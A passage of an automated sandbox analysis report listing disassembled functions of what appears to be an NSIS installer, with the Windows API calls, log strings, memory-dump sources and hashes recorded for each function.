Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

open, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,759223A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
, xrefs: 00404F65
N, xrefs: 00404C32
@, xrefs: 00404BBC

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
